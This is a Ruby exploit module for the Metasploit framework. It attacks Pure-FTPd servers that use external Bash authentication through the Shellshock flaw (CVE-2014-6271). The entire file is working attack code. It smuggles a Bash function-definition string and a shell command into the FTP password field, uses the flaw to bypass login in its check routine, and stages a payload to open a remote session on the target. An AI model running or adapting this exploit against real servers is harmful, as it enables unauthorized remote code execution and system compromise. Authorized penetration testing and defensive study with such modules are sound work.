##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Ftp
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pure-FTPd External Authentication Bash Environment Variable Code Injection (Shellshock)',
        'Description' => %q{
          This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
          handles external environment variables. This module targets the Pure-FTPd FTP
          server when it has been compiled with the --with-extauth flag and an external
          Bash script is used for authentication. If the server is not set up this way,
          the exploit will fail, even if the version of Bash in use is vulnerable.
        },
        'Author' => [
          'Stephane Chazelas', # Vulnerability discovery
          'Frank Denis', # Discovery of Pure-FTPd attack vector
          'Spencer McIntyre' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2014-6271' ],
          [ 'CWE', '94' ],
          [ 'OSVDB', '112004' ],
          [ 'EDB', '34765' ],
          [ 'URL', 'https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc' ],
          [ 'URL', 'http://download.pureftpd.org/pub/pure-ftpd/doc/README.Authentication-Modules' ]
        ],
        'Payload' => {
          'DisableNops' => true,
          'Space' => 2048
        },
        'Targets' => [
          [
            'Linux x86',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86,
              'CmdStagerFlavor' => :printf
            }
          ],
          [
            'Linux x86_64',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X64,
              'CmdStagerFlavor' => :printf
            }
          ]
        ],
        'DefaultOptions' => {
          'PrependFork' => true
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2014-09-24',
        'Notes' => {
          'AKA' => [ 'Shellshock' ],
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
          'Reliability' => [ REPEATABLE_SESSION, ],
        }
      )
    )
    register_options(
      [
        Opt::RPORT(21),
        OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin'])
      ]
    )
    deregister_options('FTPUSER', 'FTPPASS')
  end

  def check
    # this check method tries to use the vulnerability to bypass the login
    username = rand_text_alphanumeric(rand(20) + 1)
    random_id = (rand(100) + 1)
    command = "echo auth_ok:1; echo uid:#{random_id}; echo gid:#{random_id}; echo dir:/tmp; echo end"
    if send_command(username, command) =~ /^2\d\d ok./i
      disconnect
      return CheckCode::Safe('Target does not appear to be running Pure-FTPd') if banner !~ /pure-ftpd/i

      command = "echo auth_ok:0; echo end"
      if send_command(username, command) =~ /^5\d\d login authentication failed/i
        disconnect
        return CheckCode::Vulnerable('Pure-FTPd bash environment variable injection confirmed')
      end
    end
    disconnect

    CheckCode::Safe('Pure-FTPd not vulnerable to bash environment variable injection')
  end

  def execute_command(cmd, _opts)
    cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod")
    username = rand_text_alphanumeric(rand(20) + 1)
    send_command(username, cmd)
  end

  def exploit
    execute_cmdstager(linemax: 500)
    handler
  end

  def send_command(username, cmd)
    cmd = "() { :;}; #{datastore['RPATH']}/sh -c \"#{cmd}\""
    connect
    send_user(username)
    password_result = send_pass(cmd)
    disconnect
    password_result
  end
end
